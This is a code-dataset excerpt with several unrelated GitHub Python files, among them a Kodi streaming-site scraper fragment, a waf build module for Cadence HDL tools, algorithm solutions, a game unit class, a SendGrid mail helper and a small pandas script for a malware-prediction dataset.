sPaging = __checkForNextPage(sHtmlContent)\n if sNextPage:\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', sNextPage)\n oGui.addNext(SITE_IDENTIFIER, 'showMovies', 'Page ' + sPaging, oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef __checkForNextPage(sHtmlContent):\n oParser = cParser()\n\n sPattern = 'link rel=\"next\" href=\"([^\\\"]+).+?>([^<]+)</a></li></ul></nav'\n aResult = oParser.parse(sHtmlContent, sPattern)\n if aResult[0]:\n sNextPage = aResult[1][0][0]\n sNumberNext = sNextPage.split('/')[-1]\n sNumberMax = aResult[1][0][1].split('/')[-1]\n sPaging = sNumberNext + '/' + sNumberMax\n return sNextPage, str(sPaging)\n\n sPattern = \"active'><a class=''>[0-9]+</a></li><li><a rel='nofollow' class='page larger' href='([^']+).+?([^']+)'>Last<\"\n aResult = oParser.parse(sHtmlContent, sPattern)\n if aResult[0]:\n sNextPage = aResult[1][0][0]\n sNumberNext = sNextPage.split('/')[-1]\n sNumberMax = aResult[1][0][1].split('/')[-1]\n sPaging = sNumberNext + '/' + sNumberMax\n return sNextPage, str(sPaging)\n\n return False, 'none'\n\n\ndef showHosters():\n oGui = cGui()\n oParser = cParser()\n oInputParameterHandler = cInputParameterHandler()\n sUrl = oInputParameterHandler.getValue('siteUrl')\n sMovieTitle = oInputParameterHandler.getValue('sMovieTitle')\n sThumb = oInputParameterHandler.getValue('sThumb')\n\n oRequestHandler = cRequestHandler(sUrl)\n sHtmlContent = oRequestHandler.request()\n\n sPattern = 'id=\"tab\\d\".+?data-(|litespeed-)src=\"([^\"]+)'\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n if aResult[0]:\n for aEntry in aResult[1]:\n sHosterUrl = aEntry[1]\n oHoster = cHosterGui().checkHoster(sHosterUrl)\n if oHoster:\n oHoster.setDisplayName(sMovieTitle)\n oHoster.setFileName(sMovieTitle)\n cHosterGui().showHoster(oGui, oHoster, sHosterUrl, sThumb)\n\n oGui.setEndOfDirectory()\n","repo_name":"Kodi-vStream/venom-xbmc-addons","sub_path":"plugin.video.vstream/resources/sites/trash/filmstreamingy.py","file_name":"filmstreamingy.py","file_ext":"py","file_size_in_byte":6994,"program_lang":"python","lang":"en","doc_type":"code","stars":456,"dataset":"github-code","pt":"37"} +{"seq_id":"11569577840","text":"from verilog_scanner import scan_verilog_task\nfrom vhdl_scanner import vhdl_scanner\nimport os,subprocess, sys, copy\nfrom brick_general import ChattyBrickTask\n\nfrom waflib import Task, TaskGen, Logs, Errors, Utils\n\ndef configure(conf):\n\tconf.load('brick_general')\n\tconf.load('cadence_base')\n\n\t# check for IUSDIR environment variable\n\ttry:\n\t\tconf.env.IUS_DIR = os.environ['IUSDIR']\n\texcept KeyError:\n\t\tconf.env.IUS_DIR = os.environ['IUS_DIR']\n\n\t# if mixed-signal is enabled, add connectlib\n\tif conf.env.CDS_MIXED_SIGNAL:\n\t\ttry:\n\t\t\tconf.env.CDS_LIBS['connectLib'] = os.environ['IUSDIR']+'/tools/affirma_ams/etc/connect_lib/connectLib'\n\t\texcept TypeError:\n\t\t\tconf.env.CDS_LIBS = {}\n\t\t\tconf.env.CDS_LIBS['connectLib'] = os.environ['IUSDIR']+'/tools/affirma_ams/etc/connect_lib/connectLib'\n\n\tconf.env.NCVLOG_LOGFILE = '/ncvlog.log'\n\tconf.env.NCVHDL_LOGFILE = '/ncvhdl.log'\n\tconf.env.NCSDFC_LOGFILE = '/ncsdfc.log'\n\tconf.env.NCELAB_LOGFILE = conf.env.BRICK_LOGFILES+'/ncelab.log'\n\tconf.env.NCSIM_LOGFILE = conf.env.BRICK_LOGFILES+'/ncsim.log'\n\n\tif not conf.env.NCVLOG_OPTIONS:\n\t\tconf.env.NCVLOG_OPTIONS = ['-64bit','-use5x']\n\tif not conf.env.NCVLOG_SV_OPTIONS:\n\t\tconf.env.NCVLOG_SV_OPTIONS = ['-64bit','-use5x']\n\tif not conf.env.NCVLOG_VAMS_OPTIONS:\n\t\tconf.env.NCVLOG_VAMS_OPTIONS = ['-64bit','-use5x']\n\tif not conf.env.NCSDFC_OPTIONS:\n\t\tconf.env.NCSDFC_OPTIONS = []\n\tif not conf.env.NCVHDL_OPTIONS:\n\t\tconf.env.NCVHDL_OPTIONS = ['-64bit','-use5x']\n\tif not conf.env.NCELAB_OPTIONS:\n\t\tconf.env.NCELAB_OPTIONS = ['-64bit','-timescale','1ns/10ps']\n\tif conf.env.CDS_MIXED_SIGNAL:\n\t\tconf.env.NCELAB_OPTIONS.extend(['-discipline', 'logic'])\n\tif not conf.env.NCSIM_OPTIONS:\n\t\tconf.env.NCSIM_OPTIONS = ['-64bit','-gui']\n\n\n\tconf.find_program('ncsim',var='CDS_NCSIM')\n\tconf.find_program('ncelab',var='CDS_NCELAB')\n\tconf.find_program('ncvlog',var='CDS_NCVLOG')\n\tconf.find_program('ncvhdl',var='CDS_NCVHDL')\n\n\nTaskGen.declare_chain(\n rule = '${CDS_NCVLOG} -cdslib ${CDS_LIB_PATH} -hdlvar ${CDS_HDLVAR_PATH} -logfile ${gen.get_logdir_node().abspath()+env.NCVLOG_LOGFILE+gen.name} ${NCVLOG_OPTIONS} -work ${WORKLIB} ${VERILOG_INC_DIRS} ${SRC} && echo \"${TGT}\" > ${TGT}',\n ext_in = [ '.lib.src',],\n ext_out = [ '.lib.src.out',],\n reentrant = False,\n scan = scan_verilog_task\n)\nTaskGen.declare_chain(\n rule = '${CDS_NCVLOG} -cdslib ${CDS_LIB_PATH} -hdlvar ${CDS_HDLVAR_PATH} -logfile ${gen.get_logdir_node().abspath()+env.NCVLOG_LOGFILE+gen.name} ${NCVLOG_OPTIONS} -work ${WORKLIB} ${VERILOG_INC_DIRS} ${SRC} && echo \"${TGT}\" > ${TGT}',\n ext_in = [ '.vp', ],\n ext_out = [ '.vp.out', ],\n reentrant = False,\n scan = scan_verilog_task\n)\nTaskGen.declare_chain(\n rule = '${CDS_NCVHDL} -cdslib ${CDS_LIB_PATH} -hdlvar ${CDS_HDLVAR_PATH} -logfile ${gen.get_logdir_node().abspath()+env.NCVHDL_LOGFILE+gen.name} ${NCVHDL_OPTIONS} -work ${WORKLIB} ${SRC}',\n ext_in = ['.vhd'],\n scan = vhdl_scanner,\n reentrant = False,\n)\n\nTaskGen.declare_chain(\n rule = '${CDS_NCVHDL} -cdslib ${CDS_LIB_PATH} -hdlvar ${CDS_HDLVAR_PATH} -logfile ${gen.get_logdir_node().abspath()+env.NCVHDL_LOGFILE+gen.name} ${NCVHDL_OPTIONS} -work ${WORKLIB} ${SRC}',\n ext_in = ['.vhdl'],\n scan = vhdl_scanner,\n reentrant = False,\n)\n\nTaskGen.declare_chain(\n rule = 'ncsdfc -cdslib ${CDS_LIB_PATH} -hdlvar ${CDS_HDLVAR_PATH} -logfile ${gen.get_logdir_node().abspath()+env.NCSDFC_LOGFILE+gen.name} ${NCSDFC_OPTIONS} ${SRC} -output ${TGT}',\n ext_in = ['.sdf'],\n ext_out = ['.sdf.compiled'],\n reentrant = False,\n)\n\nTaskGen.declare_chain(\n rule = 'ncsdfc -cdslib ${CDS_LIB_PATH} -hdlvar ${CDS_HDLVAR_PATH} -logfile ${gen.get_logdir_node().abspath()+env.NCSDFC_LOGFILE+gen.name} ${NCSDFC_OPTIONS} ${SRC} -output ${TGT}',\n ext_in = ['.sdf.gz'],\n ext_out = ['.sdf.compiled'],\n reentrant = False,\n)\n\nclass CadenceSvlogTask(Task.Task):\n\tscan = scan_verilog_task\n\trun_str = '${CDS_NCVLOG} -cdslib ${CDS_LIB_PATH} -hdlvar ${CDS_HDLVAR_PATH} -logfile ${gen.logfile} -sv ${NCVLOG_SV_OPTIONS} -work ${WORKLIB} ${VERILOG_INC_DIRS} ${gen.ncvlog_add_options} ${gen.source_string_sv}'\n\nclass CadenceVlogTask(Task.Task):\n\tscan = scan_verilog_task\n\trun_str = '${CDS_NCVLOG} -cdslib ${CDS_LIB_PATH} -hdlvar ${CDS_HDLVAR_PATH} -logfile ${gen.logfile} ${NCVLOG_OPTIONS} -work ${WORKLIB} ${VERILOG_INC_DIRS} ${gen.ncvlog_add_options} ${gen.source_string_v}'\n\nclass CadenceVamslogTask(Task.Task):\n\tscan = scan_verilog_task\n\trun_str = '${CDS_NCVLOG} -cdslib ${CDS_LIB_PATH} -hdlvar ${CDS_HDLVAR_PATH} -logfile ${gen.logfile} -ams ${NCVLOG_VAMS_OPTIONS} -work ${WORKLIB} ${VERILOG_INC_DIRS} ${gen.ncvlog_add_options} ${gen.source_string_vams}'\n\n\n\n@TaskGen.before('process_source')\n@TaskGen.feature('cds_compile_hdl')\ndef cds_ius_prepare(self):\n\t# save worklib to env\n\tself.env.WORKLIB = getattr(self,'worklib',self.env.CDS_WORKLIB)\n\t# create task to generate worklib (if necessary)\n\tself.check_create_worklib_task(self.env.WORKLIB)\n\t#\n\t# transform search paths to the format used for ncvlog\n\t#\n\tvsp = getattr(self,'verilog_search_paths',[])\n\tself.env.VERILOG_SEARCH_PATHS = []\n\tvid = []\n\tif len(vsp) > 0:\n\t\tfor path in vsp:\n\t\t\tself.env.VERILOG_SEARCH_PATHS.append(path.abspath())\n\t\t\tvid.append('-INCDIR')\n\t\t\tvid.append(path.abspath())\n\n\tif len(vid) > 0:\n\t\tself.env.VERILOG_INC_DIRS = vid\n\n\tif not hasattr(self,'name'):\n\t\tself.name = Node.split_path(self.source[0])[-1]\n\n\tif not hasattr(self,'source'):\n\t\traise Errors.ConfigurationError('Please specify the source attribute for task generator '+getattr(self,'name','?noname? (and give it a name, too!)'))\n\n\t# generate the logfile name\n\tself.logfile = self.get_logdir_node().make_node(self.env.NCVLOG_LOGFILE+'_'+self.name).abspath()\n\n\t# process source here, skip default process_source\n\tself.source_vams = []\n\tself.source_string_vams = []\n\tself.source_sv = []\n\tself.source_string_sv = []\n\tself.source_v = []\n\tself.source_string_v = []\n\tremove_sources = []\n\tfor src in getattr(self,'source',[]):\n\t\tif src.suffix() == '.vams' or src.suffix() == '.va':\n\t\t\tself.source_string_vams.append(src.abspath())\n\t\t\tself.source_vams.append(src)\n\t\t\tremove_sources.append(src)\n\t\telif src.suffix() == '.v':\n\t\t\tself.source_string_v.append(src.abspath())\n\t\t\tself.source_v.append(src)\n\t\t\tremove_sources.append(src)\n\t\telif src.suffix() == '.sv':\n\t\t\tself.source_string_sv.append(src.abspath())\n\t\t\tself.source_sv.append(src)\n\t\t\tremove_sources.append(src)\n\n\tfor src in remove_sources:\n\t\tself.source.remove(src)\n\t#print self.name\n\t#print len(self.source_string_vams), len(self.source_string_v), len(self.source_string_sv)\n\n\tif hasattr(self,'view'):\n\t\tself.ncvlog_add_options = ['-VIEW',self.view]\n\telse:\n\t\tself.ncvlog_add_options = []\n\n\tif len(self.source_string_vams) > 0:\n\t\ttask = self.create_task(\"CadenceVamslogTask\",self.source_vams,[])\n\tif len(self.source_string_v) > 0:\n\t\ttask = self.create_task(\"CadenceVlogTask\",self.source_v,[])\n\tif len(self.source_string_sv) > 0:\n\t\ttask = self.create_task(\"CadenceSvlogTask\",self.source_sv,[])\n\n\n#\n# Elaboration and Simulation tasks\n#\n\n@Task.always_run\nclass ncelabTask(ChattyBrickTask):\n\trun_str = '${CDS_NCELAB} ${gen.simulation_toplevel} ${gen.bindings} -cdslib ${CDS_LIB_PATH} -hdlvar ${CDS_HDLVAR_PATH} -logfile ${NCELAB_LOGFILE} ${NCELAB_OPTIONS} '\n\tdef check_output(self,ret,out):\n\t\tfor num,line in enumerate(out.split('\\n')):\n\t\t\tif line.find('ncelab: *E') == 0:\n\t\t\t\tLogs.error(\"Error in line %d: %s\" % (num,line[10:]))\n\t\t\t\tret = 1\n\t\t\telif line.find('ncelab: *F') == 0:\n\t\t\t\tLogs.error(\"Error in line %d: %s\" % (num,line[10:]))\n\t\t\t\tret = 1\n\n\t\treturn ret\n\n\n@TaskGen.feature('cds_elab')\ndef cds_ius_elaborate(self):\n\ttry:\n\t\tself.simulation_toplevel = self.toplevel\n\texcept AttributeError:\n\t\tLogs.error('Please name a toplevel unit for elaboration with feature \\'cds_elab\\'')\n\t\treturn -1\n\n\tself.bindings = []\n\tfor bind in getattr(self,'binding',[]):\n\t\tself.bindings.extend(['-binding',bind])\n\n\tif getattr(self,'primary',False):\n\t\tself.bindings.append('-mkprimsnap')\n\n\tself.create_task(\"ncelabTask\")\n\n\n\n@Task.always_run\nclass ncsimTask(ChattyBrickTask):\n\tshell = True\n\trun_str = '${CDS_NCSIM} -cdslib ${CDS_LIB_PATH} -hdlvar ${CDS_HDLVAR_PATH} -logfile ${NCSIM_LOGFILE} ${SIMULATION_TOPLEVEL} ${NCSIM_OPTIONS} ${gen.ANALOG_CONTROL}'\n\n\n@TaskGen.feature('ncsim')\ndef ncsim_run(self):\n\tself.env.SIMULATION_TOPLEVEL = self.toplevel\n\tself.ANALOG_CONTROL = ''\n\tif self.bld.env.CDS_MIXED_SIGNAL:\n\t\t# create amsControl.scs\n\t\tanalog_control_file = self.path.get_bld().make_node('amsControl.scs')\n\t\tf = open(analog_control_file.abspath(),'w')\n\t\tif hasattr(self,'analysis'):\n\t\t\tf.write(self.analysis+'\\n')\n\t\telse:\n\t\t\tstop_time = getattr(self,'stop_time','100u')\n\t\t\tf.write('tran tran stop='+stop_time+'\\n')\n\t\tfor line in getattr(self,'analog_control_mixin',[]):\n\t\t\tf.write(line+'\\n')\n\t\tf.close()\n\t\tself.ANALOG_CONTROL = '-analogControl '+analog_control_file.abspath()\n\n\tself.create_task('ncsimTask',None,None)\n\n# vim: noexpandtab:\n","repo_name":"ahartel/brick","sub_path":"source/waf/cadence_ius.py","file_name":"cadence_ius.py","file_ext":"py","file_size_in_byte":9145,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"70385137389","text":"from Exepts import IncorrectArgExeption\nfrom Exepts import NonExistentExeption\nclass FileService:\n def __init__(self,data={}):\n self.data = data\n self.used_ids = []\n if data != {}:\n self.max_id = max(max(data.keys()),0)+1\n else:\n self.max_id = 0\n\n\n # Добавление файла\n def set_file(self, Filename):\n # проверка на уже использованные, освободившиеся id\n if self.used_ids!=[]:\n id = min(self.used_ids)\n self.data[id] = Filename\n self.used_ids.remove(id)\n return id\n else:\n id = self.max_id\n self.max_id += 1\n self.data[id] = Filename\n return id\n\n # Получение одного файла\n def get_file(self,id):\n try:\n return f\"Your file: '{self.data[id]}'\"\n except KeyError:\n raise NonExistentException(id)\n\n # Удаление файла\n def del_file(self,id):\n # id удаленного файла включаем в массив уже использованных освободившихся id\n try:\n Filename = self.data.pop(id)\n self.used_ids.append(id)\n return f\"File '{Filename}' delete success\"\n except KeyError:\n raise NonExistentException(id)\n\n\n # смена id\n def change_id(self,id, new_id):\n try:\n # проверка на уже существующий id\n if new_id in self.data:\n return \"Id exist already\"\n #если макс айдишник меньше нового айди числа, то смотрим все возможные свободные индексы до нашего нового макс id и если их не в словаре и массиве, добавляем\n elif self.max_id <= new_id:\n self.max_id = new_id+1\n self.data[new_id] = self.data.pop(id)\n for possible_id in range (new_id):\n if (possible_id not in self.data) and (possible_id not in self.used_ids):\n self.used_ids.append(possible_id)\n return f\"Id change success to {new_id}\"\n # Добавляем старый айди числа, если новый меньше настоящего максимального айди\n elif self.max_id >= new_id:\n self.data[new_id] = self.data.pop(id)\n self.used_ids.remove(new_id)\n if id not in self.used_ids:\n self.used_ids.append(id)\n return f\"id change success to {new_id}\"\n else:\n self.data[new_id] = self.data.pop(id)\n return f\"id change success to {new_id}\"\n except id != int or id not in self.data:\n raise IncorrectArgExeption(id)\n\n\n # Выборка нескольких файлов по айди\n def get_few_files(self, array_of_id):\n array_of_id=list(map(int,array_of_id .strip().split())) # убираются пробелы, делится на символы, мапается, создается массив\n new_arr = []\n print(array_of_id)\n for one_id in array_of_id:\n if one_id in self.data:\n new_arr.append(self.data[one_id])\n else:\n print(f\"file with {one_id} doesnt exist\")\n return f\"Ваши файлы: {new_arr}\"\n\n #резервный файл\n def backup(self):\n data_str = \"\"\n for i in self.data:\n data_str += str(i) + \":\" + str(self.data[i]) + \",\"\n data_str = data_str[:len(data_str)-1]\n handler = open('backup.txt', 'w')\n handler.write(data_str)\n handler.close()\n print(self.max_id)\n return \"you backup\"\n # восстановление из резервного файла\n def recover(self):\n handler = open('backup.txt', 'r')\n text = handler.read()\n handler.close()\n data = dict((int(a.strip()), b.strip())\n for a, b in(element.split(':')\n for element in text.split(',')))\n self.data = data\n self.max_id= max(max(data.keys()),0)+1\n self.used_ids = []\n print(self.max_id)\n return \"you recover\"\n # показать все файлы\n def view_data(self):\n for id in self.data:\n print(f\"{id} : {self.data[id]}\")\n","repo_name":"ArtemShev/uni_works","sub_path":"prog_lang/lab_2/classes/FileService.py","file_name":"FileService.py","file_ext":"py","file_size_in_byte":4556,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41957999591","text":"\nclass Solution:\n def __init__(self):\n self.first_bad_version = 0\n \n def isBadVersion(self, ver: int) -> bool:\n '''\n My attempt at recreating LeetCode provided API\n '''\n return ver >= self.first_bad_version\n \n def firstBadVersion(self, n: int) -> int:\n '''\n Given n number of versions, uses a bisect method to find the first\n version that fails a quality check.\n \n Params:\n n - The most recent version count.\n \n Returns:\n int - The first version that fails. Returns -1 if no bad version.\n \n Examples:\n Given n=5, and the first bad version = 4\n firstBadVersion(5) -> 4\n \n Given n=100000, and the first bad version = 49867\n firstBadVersion(100000) -> 49867\n '''\n low = 0\n high = n\n current = n//2\n while current != high and current != low:\n check = self.isBadVersion(current)\n check_plus = self.isBadVersion(current+1)\n if not check and check_plus:\n return current+1\n elif check:\n low, high, current = low, current, (current-low)//2\n elif not check:\n low, high, current = current, high, (current+high)//2\n \n return -1\n","repo_name":"Hilldrupca/LeetCode","sub_path":"python/Top Interview Questions - Easy/Sorting and Searching/firstbadversion.py","file_name":"firstbadversion.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72533360746","text":"import pandas\nimport dtypes\n\n\nusecols = ['HasDetections']\ntrain = pandas.read_csv('train.csv', low_memory=True, usecols=None, nrows=100000)\n\nprint(len(train))\ntrain = train.dropna(thresh=3)\n\nprint(len(train))\n\n","repo_name":"CyberDreamer/microsoft_malware","sub_path":"stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25567076228","text":"from __future__ import annotations\nfrom typing import Dict\nimport random\n\n\nfrom .item import ItemType, Item, Weapon, WeaponRange\nfrom .unit_info import Stats, Class, SupportBonuses, AttributeTypes\nfrom .affinity import Affinity\nfrom scraper.utils import stat_names\nimport utils\nfrom extensions import GBASprite\n\n\nclass Character(GBASprite):\n \"\"\"Holds all information about a unit, including its sprites, stats and weapons\"\"\"\n\n def __init__(\n self,\n img,\n batch,\n group,\n level=1,\n stats: Stats = None,\n class_type: Class = None,\n inventory=None,\n team=0,\n default_level=1,\n name=\"\",\n current_hp=1,\n supports: Dict = dict(),\n affinity: Affinity = None,\n is_male: bool = True,\n ):\n\n # adjusts unit animation frames to correct size\n if hasattr(img, \"frames\"):\n adjusted_size = utils.TILE_SCALE * utils.TILE_SIZE\n for frame in img.frames:\n frame.image.height = adjusted_size\n frame.image.width = adjusted_size\n super().__init__(img=img, batch=batch, group=group)\n\n self.name = name\n # Used for game classes (eg. paladin, assassin, etc.)\n self.class_type = class_type # Class({0: 1, 1: 3}, 0, 0, 0)\n self.class_type = Class({0: 1, 1: 3}, 0, 0)\n\n # Individual based stats\n # self.battle_sprite = pyglet.sprite.Sprite() # used for battle animation\n self.level = level\n self.default_level = default_level\n self.stats = stats\n if stats is None:\n self.stats = Stats()\n self.current_hp = min(current_hp, self.stats.hp)\n\n self.items: list[Item] = inventory or [] # will need to filter out non weapons\n self.growths = Stats()\n self.team = team # Probably use ints for team numbers\n\n self.weapon_ranks = {}\n\n self.affinity = affinity\n self.supports = supports # character object key, support level items\n self.support_bonuses = (\n SupportBonuses()\n ) # bonuses from supports, calculated frequently\n\n self.temp_stats = Stats() # represents temporary stat changes\n self.gained_stats = Stats() # represents stat boosting items\n\n self.carried_unit = None\n self.is_carried = False\n\n self.is_male = is_male\n\n def is_usable_weapon(self, weapon: Item) -> bool:\n \"\"\"\n Sees if the current character can use an item as a weapon\n\n Args:\n weapon (Item): item being examined\n\n Returns:\n bool: indicates whether the item is valid\n \"\"\"\n # TODO expand on this validation\n return weapon.item_type == ItemType.WEAPON\n\n def get_equipped_weapon_index(self) -> int:\n \"\"\"\n Finds index of first usable weapon\n\n Returns:\n int: Index if found, -1 if not\n \"\"\"\n for index, item in enumerate(self.items):\n if self.is_usable_weapon(item):\n return index\n # if there are no valid weapons in inventory, return -1\n return -1\n\n def get_equipped_weapon(self) -> Weapon:\n \"\"\"\n Gets first weapon in inventory\n\n Returns:\n Weapon: weapon object that is being equipped\n \"\"\"\n index = self.get_equipped_weapon_index()\n\n return self.items[index] if index >= 0 else index\n\n def get_weapon_range(self) -> WeaponRange:\n \"\"\"\n Gets range of equipped weapon\n\n Returns:\n WeaponRange: equipped weapon's range or 0 range if there isn't one\n \"\"\"\n equipped_weapon = self.get_equipped_weapon()\n return equipped_weapon.weapon_range if equipped_weapon else WeaponRange(0, 0)\n\n def equip_weapon(self, inventory_slot: int) -> None:\n \"\"\"Changes the current equipped weapon\n\n Args:\n inventory_slot (int): Index of desired weapon\n \"\"\"\n current_equipped = self.get_equipped_weapon_index()\n self.items[current_equipped], self.items[inventory_slot] = (\n self.items[inventory_slot],\n self.items[current_equipped],\n )\n\n def add_item(self, item: Item) -> bool:\n \"\"\"\n Adds an item to the character's inventory\n\n Args:\n item (Item): Item to be added\n\n Returns:\n bool: success if there is room in the character's inventory\n \"\"\"\n if len(self.items) < 5:\n self.items.append(item)\n return True\n return False\n\n @staticmethod\n def get_growth_stat_increase(percentage: int) -> int:\n \"\"\"\n Gets stat growth from a given percentage\n\n Args:\n percentage (int): Chance of increasing the stat\n\n Returns:\n int: Amount that the stat changes\n \"\"\"\n base = percentage // 100\n return base + (random.randint(1, 100) <= base % 100)\n\n def level_up(self) -> None:\n \"\"\"\n Updates stats after growths\n \"\"\"\n # TODO need to account for level maxes\n self.level += 1\n\n # TODO need to account for stat maxes\n new_stats = [\n prev_stat + Character.get_growth_stat_increase(percentage)\n for prev_stat, percentage in zip(self.stats, self.growths)\n ]\n self.stats = Stats(*new_stats)\n\n def change_level(self, new_level: int) -> None:\n \"\"\"\n Calculates average stats based on given level and growths\n\n Args:\n new_level (int): Desired level\n \"\"\"\n # Only changes level if new_level is higher than base level\n if self.default_level >= new_level:\n return\n level_diff = new_level - self.default_level\n\n for stat in stat_names:\n self.stats[stat] = int(level_diff * self.growths[stat] / 100)\n\n def take_damage(self, damage: int) -> bool:\n \"\"\"Applies damage to the character\n\n Args:\n damage (int): amount of damage\n\n Returns:\n bool: whether the unit dies or not\n \"\"\"\n self.current_hp -= damage\n return self.current_hp <= 0\n\n def character_moved(self) -> None:\n \"\"\"\n Handles changes that occur after a character moves\n \"\"\"\n self.color = utils.GRAY_TINT\n\n def refresh(self) -> None:\n \"\"\"\n Handles changes that occur after a character gains their move\n \"\"\"\n self.color = utils.NORMAL_TINT\n\n def calc_aid(self) -> int:\n \"\"\"\n Used to calculate the aid based on mount and con\n\n Returns:\n int: Aid value used for rescue calculation\n \"\"\"\n con = self.stats.con\n if self.class_type.class_attributes.get(AttributeTypes.IS_MOUNTED, False):\n if self.is_male:\n return 25 - con\n return 20 - con\n return con - 1\n\n def carry_unit(self, carried: Character) -> None:\n \"\"\"\n Handles logic for this unit to carry another\n\n Args:\n carried (Character): unit being carried\n \"\"\"\n self.carried_unit = carried\n carried.is_carried = True\n","repo_name":"kphan20/Fire-Emblem","sub_path":"src/game/unit.py","file_name":"unit.py","file_ext":"py","file_size_in_byte":7151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37135405093","text":"from collections import deque\nfrom itertools import combinations\n\n#하나의 값에서 치킨집으로 가는 최소값.\n\ndef bfs(visited,arr,y,x) :\n dir = [(-1,0),(1,0),(0,1),(0,-1)]\n q = deque([])\n q.append((y,x))\n visited[y][x] = 1\n while q :\n cy = q[0][0]\n cx = q[0][1]\n\n q.popleft()\n for i in range(4):\n ny = cy + dir[i][0]\n nx = cx + dir[i][1]\n if (nx >=0 and nx < N and ny >=0 and ny < N and visited[ny][nx] == 0) :\n q.append((ny,nx))\n visited[ny][nx] = visited[cy][cx]+1\n if arr[ny][nx] == 2 :\n return visited[ny][nx]-1\n\n \n\n\n\n\nN, M = map(int,input().split())\n\narr = []\nfor i in range(N) :\n arr.append(list(map(int,input().split())))\nmin2 = 987654321\n\nchicken = []\nhome = []\narr2 = [[0]*N for i in range(N)]\nvisited = [[0]*N for i in range(N)]\n\n\nfor i in range(N) :\n for j in range(N) :\n if arr[i][j] == 2:\n chicken.append((i,j))\n arr[i][j] = 0\n if arr[i][j] == 1:\n home.append((i,j))\n\ntemp = (list(combinations(chicken,M)))\n\nfor i in home :\n arr2[i[0]][i[1]] = 1\n\nfor i in temp :\n sum1 = 0\n for j in range(len(i)):\n arr2[i[j][0]][i[j][1]] = 2\n \n for k in range(len(home)):\n sum1 += bfs(visited,arr2,home[k][0],home[k][1])\n visited = [[0]*N for i in range(N)]\n\n for j in range(len(i)):\n arr2[i[j][0]][i[j][1]] = 0\n\n min2 = min (min2,sum1)\n\n\n\n\n#1. arr2를 만든다. 1은 초기화.\n# -> 값을 반복적으로 구한다.\n\n#2. arr2에 2를 초기화 시킨다.\n#3. bfs를 돌려서 값을 구한다.\n#4. arr2를 다시 0으로 바꾼다.\n\n\n\n\nprint(min2)\n\n\nprint(\"asdf\")\n\n\n","repo_name":"goddl717/thisiscote","sub_path":"연습문제/13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17489923583","text":"class Solution:\n \"\"\"\n @param: : A string\n @param: : A string\n @return: Count the number of distinct subsequences\n \"\"\"\n def numDistinct(self, S, T):\n if S is None or T is None:\n return 0\n\n if S is '' and '':\n return 1\n\n m, n = len(S), len(T)\n\n \"\"\"\n `dp[i][j]` means the count of distinct subsequences\n (the substr end at `T[j - 1]`) in the substr end at `S[i - 1]`\n \"\"\"\n dp = [[0] * (n + 1) for _ in range(2)]\n\n prev = curr = 0\n dp[curr][0] = 1\n for i in range(1, m + 1):\n prev = curr\n curr = 1 - curr\n\n dp[curr][0] = 1\n\n for j in range(1, n + 1):\n \"\"\"\n case 1: `S[i - 1]` and `T[j - 1]` is not a pair\n so keep `T[j - 1]` in candidates\n \"\"\"\n dp[curr][j] = dp[prev][j]\n\n \"\"\"\n case 2: `S[i - 1]` and `T[j - 1]` is a pair\n do NOT `+1` -> its for size, this problem is for count\n \"\"\"\n if S[i - 1] == T[j - 1]:\n dp[curr][j] += dp[prev][j - 1]\n\n return dp[curr][n]\n","repo_name":"jaychsu/algorithm","sub_path":"lintcode/118_distinct_subsequences.py","file_name":"118_distinct_subsequences.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"37"} +{"seq_id":"20987552979","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 16 07:35:53 2020\n\n@author: ankush\n\"\"\"\ndef distance(a, b):\n\treturn ((a[0] - b[0])**2 + (a[1] - b[1])**2 + (a[2] - b[2])**2)**0.5\ndef Avg_transmission_power(node_dict, population, head_nos, base, d0, Eelec, Efs, Eamp):\n avg = 0\n for i in range(head_nos):\n d = distance(node_dict[population[i]].loc, base)\n m = len(node_dict[population[i]].members)\n if d <= d0:\n avg += m * Eelec + m * Efs * d**2\n elif d > d0:\n avg += m * Eelec + m * Eamp * d**4\n return avg\n","repo_name":"ap539813/Wireless-Sensor-Network-WSN-simple","sub_path":"Average_transmission_pwr.py","file_name":"Average_transmission_pwr.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"36259005941","text":"from sendgrid.helpers.mail import Mail, Email, Content\n\nfrom . import sendgrid_client, app\n\n\ndef send_email(sender_name, sender_email, message):\n \"\"\"Sends an email using the Sendgrid API. Returns the API response.\"\"\"\n\n subject = 'Zpráva z webu'\n content = Content('text/plain', f'{sender_name} napsal:\\n{message}')\n mail = Mail(from_email=Email(sender_email),\n subject=subject,\n to_email=Email(app.config['MAIL_RECIPIENT']),\n content=content)\n return sendgrid_client.client.mail.send.post(request_body=mail.get())\n","repo_name":"ondrejbenes/homepage","sub_path":"homepage/mailing.py","file_name":"mailing.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17553367237","text":"\"\"\" \n@Program: test\n@Author: Donald Osgood\n@Last Date: 2023-11-28 22:23:30\n@Purpose:Donald Osgood\n\"\"\"\nimport unittest\nfrom fractions import Fraction\nfrom my_sum import *\nfrom utils.conversions import truncate_to_decimal\n\n\nclass TestSum(unittest.TestCase):\n \"\"\"_summary_\n\n Args:\n unittest (_type_): unittest ibject\n \"\"\" \n def test_list_int(self):\n \"\"\"\n Test that it can sum a list of integers\n \"\"\"\n data = [1, 2, 3]\n result = 